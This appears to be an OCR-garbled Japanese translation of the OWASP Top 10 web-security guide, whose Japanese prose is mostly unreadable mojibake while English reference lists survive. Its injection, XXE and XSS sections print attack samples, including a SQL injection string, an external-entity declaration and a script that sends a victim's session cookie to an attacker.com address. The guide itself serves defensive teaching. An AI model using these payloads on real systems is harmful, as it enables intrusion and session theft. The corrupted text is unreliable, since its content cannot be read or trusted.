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T3> IRE, WERFEEV O EREICCOMmBEERANET,

SATSU, JL—LD=0W2DMY T NII7EDI-ILEVWDTEIR=FR ML 7T
DT—>32 ERIFDERTEINTNET ., MS5IEDSH DI R—FR2 MHBRAEND &, FA
TRBIRIBRAT — ) \DFESED (CDOIINDE Y. BIHDMESSMEN DD I > R—>> hzEFIFA L/'C
L\ézj’yg;*\ga SARAPIE. PTUT -2 3> OB R IBIRECREE T

DI EITHE o

ApRrOF>IJETE=FIU TR 4))5‘)Fl/Z/T/Z(g%HE#LiﬂTM&MD‘ FERHER
BATIL—232CROTVNDE, WBENSIAFTLAESSICHELLD, BBz cE
BEDICUL (gb\@/ZTA(LZBI& "ﬁﬁl%?ﬂf T Q%Eﬂﬁu RZE., BRI B EXEAEEIC
ULFET, (i&/uc‘:@j‘ SREBHOFABRICLIDE. BEEZRIN I DDIC200BUEBEELTH
D, iﬁwgﬂ%%@jDﬁZﬁEZQU)0"73\‘5_6(&"7$<\ EBHERE (C K> THREAISNTLVET,
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BHOLAPTE:3 BfffmE: 3 ESRRE?

FEAEDEART—E)—RE(2DT
I3 DREERYZET RELTH.
INTA—=E N EBRURNEDOWebH—E
A, ZFLTHoIEHEDI—F LS
ESN AT AV R, eSS
NEEZE =T —4% A 5—T)4
ITEBIEMTEDHEICRELET,

RohZxzd,

Aoz hoa R LAY —a—RTIE &ThH
— BT, A1y avifiggtE(X. SQL. LDAP,

XPath, %% MENoSQLY Y, 0SaA<T UK, XML/ S—
P—. SMTPAYS — HEFE. BLUPORMI I TLL

Ao av RMalE. A—FERARDEEHEICRRAT
EET AX VT RTFOUT R KEEN (D)3
URMERDITADIZRILET

Ao aviE, T—EADE Kk, HHiE,
ERLTWNE~DERRFR. 7Thoo5E
UTF4DE!&, £-IXT7 7 EREFIZD
BB AREELSHYET,

A0z avid. RRCDTEEHFE-S
WMYIZDENBIENHYET  EDRR
~DEEIE, 7T I)r—aveT—4
DEEHITIKREFELET .

fessERRDKRAI U
ROESTIRATIE, 7TV —2av ORI L THEHE T
o A—YMNRPELET 2N, 7TV —LavIZ&>THREE. 74
WEYG  F I a4 XShig,
o AVTHFRMIBLEIRS—THThnd . BRI FERIET/N
SA—BEESNTOEREWEHR LN EA—TYRICEEFERSNS,
o FITVzHRYL—23FIL-TVETY (ORM ) DIRFK/INTA—4
ICEEZE T —4MMERSh, EELLO—FFEMTHEL
—Cbiao
o EEHFHOLTARZEEFIIEHELTES, fIAIL KNI
), avR, ARNFR- TRV =S BWTEXICEEZ o1
T—REHEHEDHEDHTSQLPLIATURAMEAITOHND,
KY—fBrEA O30 ELTIE. SQL, NoSQL, OSawuk,
IO YL—3FIL-VEVS (ORM ), LDAP, HXUEL
= (Expression Language ) F£7z[&OGNL= (Object Graph
Navigation Library ) D422 xo2avhiHUET, AV ETHETA
THOAA—T)BTRLTY, V—Ra—FELEa—FhiX, 1>
S avIcRLTT IV —av A B THAINREERNIZE
HTEET, ZLT. TRTD/IIFA—2, AvyFa—_ URL, Cookie,
JSON, SOAP., B&UXMLT—EZANDTELLZEHTAMME
E"]—Gj_o
Fi-, BEIEERY —RO— RV —IL (SAST) LB T T r—
23T ARY—IL (DAST)%&CIICD/SA TSAVIZBATEET, =
NIZ&Y, Fr-IZEohTLES APz oiar RiEREIRTEIC
BRI AHICBRHETEEY,

KBS FIADH
SFIT#HBTT ’7—93‘4i1§§5’6%ﬁ£b\?—9§ﬁﬁL\é:):
TUTO&SHMEHLESQLETHELEE>TLEWNET:
String query = "SELECT * FROM accounts WHERE
custID=""'+ request.getParameter("id") + "";
OFVARRERIZ, TV r—2av BN IL—LTD—O%5ET S,
MDD HBITVIEYZFET (BIAIE., HibernateV T EEE
(HQL)):
Query HQLQuery = session.createQuery("FROM accounts
WHERE custID="' + request.getParameter("id") + "");
CNOEA DT —RISHENT, BEHRFT SV Y T/ASA—Fid DfE
#or'1'="EBLFET, FlzIL:
http://example.com/app/accountView?id=" or '1'="1
NT.AADITDEKRMNEZ SN, accountsT—TILIZH DL
A—RALTRENDEICBYES  EoBIREICLY, T—2D
WEAPHIBR. RAF7RTO =y OBV H LN AIEETT

B51E A%

Ao EHIETBEOICIXaATUREITYIST—E2%E

2R THELCENBETT,

o HRINDBERFKIGERELAPIZERTEIE, 10E2—TUAD
FERETEICET S, I\SA=2tEh =AM 3—T— X% F|H
T5.F:EX ATz Hh-YL—a3FIL-IVELST -Y—)L
(ORM ) #FERATBHLSIHEITTHIE TR /35 A—42{kSh
T =ELTH RAMZRTOY—2 ¢ Tl PLISQLZEIET-SQL
[C&k>THINET—2%EEHRLI-Y . EXECUTE IMMEDIATE®
exec()ZFALTEENDHS T —4RITTHLIZLHT, SAL
AT AVERESEDHIENTES,

o ROTFATH. EVMEZBERTAR) RN IZEB Y —/PFAKD
ANBREEEZRAND FRXFEDELETEELDTITVr—a0,
F=EZIETENANT TV —2av ADTFHF AT TOAPILEE
[ZBWTIEEEEBHEHAEREITHRSEL,

o LEROXMEHARBLEMITITIE. ZOA2—TIEEED
IR —TRNEFERALTERNTEIRT—T9 5, 8
F—INEONSLEEEDSQLANS IFvIZXLTIEZTR
T—THRTERWN, Tz, I—FHEEDRNSIF Y RILE
BRTHD. CHIELR—MERY IO T IZHEET 5 — i3I R
BETH5.

o HIYRNTLIMITEOLZFDMOSQLEIHEERYTAZET. SQL
AT AV BN RELIIGEDLI—FORERBERHC,

SERH
OWASP

* OWASP Proactive Controls: Parameterize Queries

* OWASP ASVS: V5 Input Validation and Encoding

« OWASP Testing Guide: SQL 1> x4+ 3>, Command 1>~
Pxyiay,
ORM injection

« OWASP Cheat Sheet: 1224 3> Prevention

« OWASP Cheat Sheet: SQL 1>< 49332 Prevention

* OWASP Cheat Sheet: 1224 3> Prevention in Java

« OWASP Cheat Sheet: Query Parameterization

* OWASP Automated Threats to Web Applications — OAT-014

SHERE #t

« CWE-77: Command /1> x93 3>

« CWE-89: SQL />3y

* CWE-564: Hibernate 1>z 4933>

+ CWE-917: Expression Language 1> x93 3>

» PortSwigger: Server-side template injection



https://www.owasp.org/index.php/Source_Code_Analysis_Tools
https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools
https://www.owasp.org/index.php/OWASP_Proactive_Controls#2:_Parameterize_Queries
https://www.owasp.org/index.php/ASVS_V5_Input_validation_and_output_encoding
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)
https://www.owasp.org/index.php/Testing_for_ORM_Injection_(OTG-INPVAL-007)
https://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet_in_Java
https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet
https://www.owasp.org/index.php/OWASP_Automated_Threats_to_Web_Applications
https://cwe.mitre.org/data/definitions/77.html
https://cwe.mitre.org/data/definitions/89.html
https://cwe.mitre.org/data/definitions/564.html
https://cwe.mitre.org/data/definitions/917.html
https://portswigger.net/kb/issues/00101080_serversidetemplateinjection
https://www.owasp.org/index.php/Injection_Flaws
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EWRBY—ILEZERLTEET, ZLT,
BolE Yy avEBIZBITAREF X,
BHICEDHE M-ty avb—0
VICEELELDELCERELTVET,

ERETEEY,
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YRAEET IV ERFIHOEBTHY ., RT— INVETT
Jr—230F RTHAEY IV EEERELTLET,
WEEIFHTHRIAODA EEZHRREL. B8{LY—ILIC
KBDNRAT—RYXFHBELFERBEZMRITT, ThD

‘EET L | BBEIL VRATLERETSEHIC,
LD THIUNERIE=2f=—D
BHETHAOIUCDT I REREE
BRIhE+2TT, 7TVr—avRk
ET.COXREFTR—AVEYUY
HEWETFETS. BABROERSE.
ERICRESN-BECHEEROR
AW DENBENDHYET,

REHEERDRIUH

nLnE[ ﬁ)@bf‘ﬁi%’&ﬂﬁ(?’"&)l . 31— -U-DL.HIE 12)“/3‘/%‘@0)

'Xn+ %%Eﬁnu?éu&b\igtj—

TV r—av A TROEHER-TIHES

EhHEINLLNERA:

s BWHEAI—YRENRT—FOYRNEHOREEIZLDETHY
VR ANBED LG EEIESN-BELHIIT S,

s BRIEEYREL ZOMOBEMLIN-HELNKIITS

- EIL\EEO)EQE-I- " ;%':ﬁ:ﬁ

o "Password1"+>"admin/admin" D XSG HEAREER L/ SRT—FK,

BEDHLART—F, KKEHNE/IRT—REEHFTES,

e RECEETELQVMEOEM" OLSIC. MBEHEFLITHRMT
HUVRRT—FEIBFIEO/ SR T—K) T AU A EEE LTS,

o EXDINRAT—K BEBALLF-/RAT—K, £=IEMHEE/ W a
BT/ b LTz/ AR —RZEREL TS (A3:2017- 1470
BHRDEHEFSE),

o ZERIDMERELTOEN., FEREDENLTLSERDINEFE
HELTULVLY,

* URLD\LEYLavIDABHEL TS (M URLEEHZ),

o OFAVIZHILI-ETEY IVIDAEERSNALY,

o YL AVIDAEYIZEMIZELEL, AT T O MEIE—EFBE
BENGNEE, A—HF DBy a PRI BFIZ. VT
WA T (SSO)—D ) DY E U I ZF- SN TR SR,

WEF)FDHI

OFIVA#: THOUR) AR ES LA NT=/ S\ AT—FED) A%
AWE=REIL, GEION=REFETT, 7TIr—avIcBE
IEESN=HELTHIO N A RED T RMNRESN TUVVELES,
FOTTIr—2avElB AR —FREEY—IL 1 ELTEREEE
MOBINESIHZRARDDIZERASh I REEA,

FUF #2: FEAEDRILICEET HHE(L, INAT—REH—D
nunﬁgftb—cﬁL\?‘JL[T—C%T'T_&)( %EL—CL\&?— 75")'C’\7\|*
TSHTARESNTELINRT—FOEREEOEEEDERIL,
A—HF—[ZHLIRT—FERYRLESLSRTEDRALHYE
T, FZT. HOWPBHHEEHNIST 800-63IZHE> T D KILTSHT4
RERD ., BERZBIAEESIEHHEIATLET,

SFUF #3: T TV r—av(tyiav A LTI EYIZE®
ShTWERA, A—FBARXHDBOIAVEL—EFTEDT TV r—
2AVIZZOERALES , FOA—HFIEX, 7TVr—avhn0s 7

DT EROYICEHMICISOSF TEDZIZHLT, TNDIFEILL

BVFET, — B RBENBRLIVEL—2TISUVEZET
BE.FLEEDA—YTRIAULEFEFIZEO>TWET,

BhE A3k

« BHEHEIN-RE, THIUMNAMRE, BU-UKE, BFEh
frA—HR/RRAT—FEZBHALLRBEBCOHIZ, TESR
UYEBERDBIEEET D,

o MEATHOURGFICEBEI—PERLEFFETS LT —
ALY,

o FLLWRRT—FFEEEEREZD/SART—FH Top 10000 worst
passwordsD ) RAMZHWMNEBE T H LI/ \RT—FRIIEEE
T3

e NIST 800-63 B’s guidelines in section 5.1.1 for Memorized
Secrets PRI DFAEIZEINNRT—RDAEIZ, /SAT—F
DRSS, B, EPEBRICET LRI —EFBESED,

o FTHIUNNBHREADOXEKELTI—Y B, /ART—FER.
APIZTRIL S BT, TR TOFBRERTRICEVLTRICAYE—D%F
ml"éc

o NRIT—FANORKIZKLTRERKIZHIET 55 . BEMIZE
EBHES, TXTOATAURBERFTHEELIZ. THhIUb
JRAPRE, U -URE, -3t OBRBERAMLI-EEIZTT
Y — o S E (BT S,

o HB—N\HYART EFaT7H. ELMMODEYI L EEEES
fEL, BT AV RICEFHISBIVNAE—D SV Lty g
VIDEEMT B, £y aVIDIFURLICEHBHRETIFEL, £Fa
FIZRET B, Tz, AT TOMEO. TARILKEE 24 LTIk
Liztviav = 8&NITT5,

SEEH

OWASP

* OWASP Proactive Controls: Implement Identity and
Authentication Controls

« OWASP ASVS: V2 Authentication, V3 Session Management

* OWASP Testing Guide: Identity, Authentication

* OWASP Cheat Sheet: Authentication

* OWASP Cheat Sheet: Credential Stuffing

« OWASP Cheat Sheet: Forgot Password

« OWASP Cheat Sheet: Session Management

« OWASP Automated Threats Handbook

SHERE

* NIST 800-63b: 5.1.1 Memorized Secrets

o CWE-287: Improper Authentication

» CWE-384: Session Fixation



https://www.owasp.org/index.php/Credential_stuffing
https://github.com/danielmiessler/SecLists
https://www.owasp.org/index.php/Credential_stuffing
https://www.owasp.org/index.php/OWASP_Proactive_Controls#5:_Implement_Identity_and_Authentication_Controls
http://%C2%A0Authentication
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home
https://www.owasp.org/index.php/Testing_Identity_Management
https://www.owasp.org/index.php/Testing_for_authentication
https://www.owasp.org/index.php/Authentication_Cheat_Sheet
https://www.owasp.org/index.php/Credential_Stuffing_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet
https://www.owasp.org/index.php/Credential_Stuffing_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet
https://www.owasp.org/index.php/OWASP_Automated_Threats_to_Web_Applications
https://www.owasp.org/index.php/OWASP_Automated_Threats_to_Web_Applications
https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret
https://cwe.mitre.org/data/definitions/287.html
https://cwe.mitre.org/data/definitions/384.html
https://github.com/danielmiessler/SecLists/tree/master/Passwords
https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret
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REHEERDRIUH

FT.EZEGHIVERET ST IV REZLELTINEBOFET . FIZ
[ERART—=F LY A—RES, BEREHE. BAT—2PEDRZX LD
BEFRHRETIVLENHYET, T—2ITHL T EUD— BT —21RE
HANGDPRID K5 T S/ —EEDEEANBASNDIHE . Ff=. PCI
T—AtF2)T4REUHE—R(PCl DSSYEEERDIERREDERNHD
FILRMENHIHEEICL. FITEFENABETT, ZOLIET—FTATIC
DT, ATFERERLTEELY

o EART—ATHNEIXTEELTLVELD, ShiE, HTTP, SMTP,
FTPO &S TAMILNEFE-TLDIGAITH LT D, RSN DA 42—
FYNIEIETRBE. BICBKRTH D, T, A—FNSUH HT
H—/, /\J’JI/F/ZT.L\&&G)W“BG)LL:%?’\’CEEE 3%,

o NYITYTHED BET—AEFEXTRELTLELAD,

o HOWEEEBULESTZILITUXLENYPRENEE., TEHVI—KT
{FEoTULVELDY,

o VHENCTENEEROFEA. BULESBEERTEIERA. B
EEREBFEEIEOA—T—a ELTLVEN, ChoDZLT5E
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o A—HI—UzUMNIIU)DEXITAIZETETALITATHOAY
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BAEHAE HEEHDOMNMREEL TLVELERTIEALDY,

ASVS Crypto (V7). Data Protection (V9), #LTSSL/TLS (VI0O)ZS MR,

KB TFTIFOH

FVA #1: HBET TV r—LaviE, TAR—ADOEHESLEERL. »
LOYRH—RBEBERBEEIELET. LAL. ZOT 20 EBGINLEEIZH
BMIZES SN, SQALA D72 avITE 2 TEXDIL Dy A—F
BSEMITETLENET,

OFVA #2: BB AMME, TRTOR—CTILSTHEHLTHE ST . 1—HIC
TLSZMFIL TLER A, Tz, T Y AR TIRBULEE7ILIVX LEY
R—FLTVET  WBH IR VNI =I5 T7090ZBERL (FIZ I, Bt
LTUWVERWNES R YRT—ST) HTTPSRIEZHTTPBIEIZA VS L—KL

FOVIIANERETBET, A—HFDEyavyvEr—aBHET, L
T.HREHIZDIYF—E2BELI—T OGRSy a3V 2T MY,
ZDA1—HYOBEAT—2ZBEESLVRSATETT, T=. KEEH Tty
LAVEROSMBRDYIZ. TRTOBRETFT—2BHIZIE. ASDZHMA)FH
TATEEY,

SFUF #3: HBINRT—RTF—ER—R(E, VILMELD /w1 F - LB
BAYYATNRRAT—FERELTVET . L. 7ML TYTO—F D R HE
PhENIE. KBEETFNEZERALT. SRT—RTF—4R—REWMBTEET,
EHRICHESN=/\Y2DLAVR—T—TIL T, TRTHOYVILMNILD
NYDADBEFESNTLENET, ZLT. EZVILEHY TNy 2 bENT
WTh, B FE (I TR/ N\ 2B TER LTz W 2 [XGPUTESR SN
TLEIMELNER A,

B51E A%

BEBRERTRECELLFLUTICETET, ZLT. SEERERIL

’C(T—‘c‘%\

FTIIr—2av ZEICNBY 5T —4, RET BT —F. 25T
BT —BEDHET D, ZLT. EDT—ENTSAN\—EED %
F-RADEHIZERLETIN. TEDT—ANESKRR EHE
BT—anHET S,

o BIRDDEEICHBEITTIERGIEERET D,

o DEOROVEMITERERELLELD, TESRYICIZEDLS
T B SR AR ZE S A . PCI DSSIZEHLI=b—9F 1 —
2AVERIENS U —a E T T—ANESTULEITAILE
ENELY,

o RERICTIRTOMMAEREBS(ELLTLDIHIERT S,
s RIFOBESRENSIMELET7ILDUXL, FALIL, BEEE
FEELTWAIERT S, ZLCEYICIESRBEEEYT S,

o BIAMEMPFS)ZEMIZLITLS, H—/I\HAKRIZXBEEX
A—FDEBEERE. EXaT/INTGA—EAREDEXTHTOR
JLT.BEREBLODTRTOT—HEEELT S, HTTP

Strict Transport Security (HSTS)D K55 T ALY T40 TSt
=RHld 5,

o INAT—KRZREFETBEE. Argon2. scrypt. berypt. PBKDF2® &

SIET—IT7VRGEREI7IDH B, @M D@ A REHEL A

ILWDVILMTENY 2 EBHERLS,

RELTDREENENEFNHILTHELSHEMNRIET S,

SEEH

OWASP

* OWASP Proactive Controls: Protect Data

*« OWASP Application Security Verification Standard (V7,9,10)

* OWASP Cheat Sheet: Transport Layer Protection

* OWASP Cheat Sheet: User Privacy Protection

« OWASP Cheat Sheets: Password and Cryptographic Storage
* OWASP Security Headers Project; Cheat Sheet: HSTS

* OWASP Testing Guide: Testing for weak cryptography

S ERE

« CWE-220: Exposure of sens. information through data queries
« CWE-310: Cryptographic Issues; CWE-311: Missing Encryption
*» CWE-312: Cleartext Storage of Sensitive Information

* CWE-319: Cleartext Transmission of Sensitive Information

» CWE-326: Weak Encryption; CWE-327: Broken/Risky Crypto
» CWE-359: Exposure of Private Information (Privacy Violation)



https://www.owasp.org/index.php/ASVS_V7_Cryptography
https://www.owasp.org/index.php/ASVS_V9_Data_Protection
https://www.owasp.org/index.php/ASVS_V10_Communications
https://www.owasp.org/index.php/OWASP_Proactive_Controls#7:_Protect_Data
https://www.owasp.org/index.php/ASVS_V7_Cryptography
https://www.owasp.org/index.php/ASVS_V9_Data_Protection
https://www.owasp.org/index.php/ASVS_V10_Communications
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/User_Privacy_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/User_Privacy_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet
https://www.owasp.org/index.php/OWASP_Secure_Headers_Project
https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet
https://www.owasp.org/index.php/Testing_for_weak_Cryptography
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/311.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/326.html
http://cwe.mitre.org/data/definitions/326.html
https://cwe.mitre.org/data/definitions/359.html
https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet
https://www.cryptolux.org/index.php/Argon2
https://wikipedia.org/wiki/Scrypt
https://wikipedia.org/wiki/Bcrypt
https://wikipedia.org/wiki/PBKDF2
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A #2: MEEL, LEEDENTITY TZRDKLSIZEELT.
Y—IR—DTFAR—b UL T—IFRFRLSELFET:

<IENTITY xxe SYSTEM "https://192.168.1.1/private” >]>
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YA XERET S,

XMLEF=[EXSLT7AIL DTy T O—F#EEIZH VT XSDAREF7R
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SEEH

OWASP

* OWASP Application Security Verification Standard

« OWASP Testing Guide: Testing for XML /> 493 3>
* OWASP XXE Vulnerability

* OWASP Cheat Sheet: XXE Prevention

* OWASP Cheat Sheet: XML Security

SHERE

» CWE-611: Improper Restriction of XXE

« Billion Laughs Attack

* SAML Security XML External Entity Attack

» Detecting and exploiting XXE in SAML Interfaces



https://en.wikipedia.org/wiki/Document_type_definition
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home
https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XML_Security_Cheat_Sheet
https://cwe.mitre.org/data/definitions/611.html
http://blog.ioactive.com/2014/11/die-laughing-from-billion-laughs.html
https://secretsofappsecurity.blogspot.tw/2017/01/saml-security-xml-external-entity-attack.html
https://web-in-security.blogspot.tw/2014/11/detecting-and-exploiting-xxe-in-saml.html
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Source_Code_Analysis_Tools
https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools
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ResultSet results = pstmt.executeQuery( );
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T, EEER—TICTIERTHICITEEEERIVETT,
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http://example.com/app/admin_getappinfo
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SERH
OWASP

* OWASP Proactive Controls: Access Controls

« OWASP Application Security Verification Standard: V4 Access
Control

* OWASP Testing Guide: Authorization Testing
* OWASP Cheat Sheet: Access Control

SHERE

e« CWE-22: Improper Limitation of a Pathname to a Restricted
Directory (‘Path Traversal')

*» CWE-284: Improper Access Control (Authorization)

* CWE-285: Improper Authorization

* CWE-639: Authorization Bypass Through User-Controlled Key

» PortSwigger: Exploiting CORS Misconfiguration



https://www.owasp.org/index.php/OWASP_Proactive_Controls#6:_Implement_Access_Controls
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home
https://www.owasp.org/index.php/Testing_for_Authorization
https://www.owasp.org/index.php/Access_Control_Cheat_Sheet
https://cwe.mitre.org/data/definitions/22.html
https://cwe.mitre.org/data/definitions/284.html
https://cwe.mitre.org/data/definitions/285.html
https://cwe.mitre.org/data/definitions/639.html
https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
https://www.owasp.org/index.php/Source_Code_Analysis_Tools
https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools
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SEEH

OWASP

* OWASP Testing Guide: Configuration Management

* OWASP Testing Guide: Testing for Error Codes

« OWASP Security Headers Project
CORFTEILIZEYI-LDES. Application Security Verification
Standard V19 Configuration &L TLIZSLY,

SMERE #

¢ NIST Guide to General Server Hardening

e« CWE-2: Environmental Security Flaws

« CWE-16: Configuration

e CWE-388: Error Handling

 CIS Security Configuration Guides/Benchmarks

* Amazon S3 Bucket Discovery and Enumeration



https://www.owasp.org/index.php/Testing_for_configuration_management
https://www.owasp.org/index.php/Testing_for_Error_Code_(OWASP-IG-006)
https://www.owasp.org/index.php/OWASP_Secure_Headers_Project
https://www.owasp.org/index.php/ASVS_V19_Configuration
https://csrc.nist.gov/publications/detail/sp/800-123/final
https://cwe.mitre.org/data/definitions/2.html
https://cwe.mitre.org/data/definitions/2.html
https://cwe.mitre.org/data/definitions/16.html
https://cwe.mitre.org/data/definitions/388.html
https://www.cisecurity.org/cis-benchmarks/
https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html
https://www.owasp.org/index.php/OWASP_Secure_Headers_Project
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value="" + request.getParameter("CC") + "'>";

WEBEIITSIYTNSA—R ' CCEUTIZHELET:

'><script>document.location=
‘http://www.attacker.com/cgi-bin/cookie.cgi?
foo="+document.cookie</script>'.

NIZEY, MEED YL aVIDAKBED VT I HAMIEESH,
HWEEOEY IVAR- BONET,

FRRBEZ. 7I)5—arAMERLTLSBE{EEh-CSRF
X HE . XSSTHAHZEMNTEET

B51E A%

XSSEMIE T BIZIE, EETERWNT—2Z28MLE T SHHar Ty

IYMNSRATEIHERHYET, UTEERHLET:

« EHFDRuby on Railst®React JS% & XSSIZEAIN3ST—4
FEHMICIRT—TFBES5F SN IL—LT—V%EFERT
B BIL—LT—IIZBITHXSSHEDRREHERL., JEDE
B4 &b T—2FERICDOLTIL, BYANEEITS,

« RT 1, B, JavaScript, CSSPURLGZEHTMLEHE ADar T+
ANMZEDNT EBEEEAVHTTPYI I AT —22 IR —7
FTBHIET YILITIRBEUV AN PRXSSHE T EfRETE S,
BERINZT—EDEME TR —TF %1 OWASP Cheat
Sheet ‘XSS Prevention' #Z BN &,

¢ VAT UMIATD ISV P RF 1AV PRERIC, 2T FRAMKE
DIVA—T 4T %ERATHET,. DOMR—AXSSAD R E &
B, CNMTAELEEIZIL, OWASP Cheat Sheet 'DOM
based XSS Prevention'CEgBiEN TS, RO TF AMK
BEOIRT—TFEZEITSUFAPIZERTSIELTES,

o XSSIZxT B Z B E D —EEL TContent Security Policy
(CSPYEBMIHRTET S, T, O—hILT7AINA2 D IL—F%E
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PRI =R EINIETE LTSI ITIVE) NFEELEVGES
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SEEH

OWASP

« OWASP Proactive Controls: Encode Data

* OWASP Proactive Controls: Validate Data

* OWASP Application Security Verification Standard: V5
« OWASP Testing Guide: Testing for Reflected XSS

« OWASP Testing Guide: Testing for Stored XSS

* OWASP Testing Guide: Testing for DOM XSS

* OWASP Cheat Sheet: XSS Prevention

« OWASP Cheat Sheet: DOM based XSS Prevention

* OWASP Cheat Sheet: XSS Filter Evasion

« OWASP Java Encoder Project

SR

*» CWE-79: Improper neutralization of user supplied input
» PortSwigger: Client-side template injection



https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2016
https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2016
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project
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https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)
https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
https://cwe.mitre.org/data/definitions/79.html
https://portswigger.net/kb/issues/00200308_clientsidetemplateinjection
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
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OWASP

* OWASP Cheat Sheet: Deserialization

* OWASP Proactive Controls: Validate All Inputs

« OWASP Application Security Verification Standard

e OWASP AppSecEU 2016: Surviving the Java Deserialization
Apocalypse
* OWASP AppSecUSA 2017: Friday the 13th JSON Attacks

SV ERE
« CWE-502: Deserialization of Untrusted Data

e Java Unmarshaller Security
* OWASP AppSec Cali 2015: Marshalling Pickles



https://www.owasp.org/index.php/Deserialization_Cheat_Sheet
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OWASP

* OWASP Application Security Verification Standard: V1
Architecture, design and threat modelling

* OWASP Dependency Check (for Java and .NET libraries)

* OWASP Testing Guide: Map Application Architecture (0TG-
INFO-010)
« OWASP Virtual Patching Best Practices

SHERE

» The Unfortunate Reality of Insecure Libraries

* MITRE Common Vulnerabilities and Exposures (CVE) search
« National Vulnerability Database (NVD)

« Retire.js for detecting known vulnerable JavaScript libraries

* Node Libraries Security Advisories

* Ruby Libraries Security Advisory Database and Tools
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OWASP

* OWASP Proactive Controls: Implement Logging and Intrusion
Detection

« OWASP Application Security Verification Standard: V8 Logging
and Monitoring
* OWASP Testing Guide: Testing for Detailed Error Code

* OWASP Cheat Sheet: Logging

SV ERE

* CWE-223: Omission of Security-relevant Information
» CWE-778: Insufficient Logging
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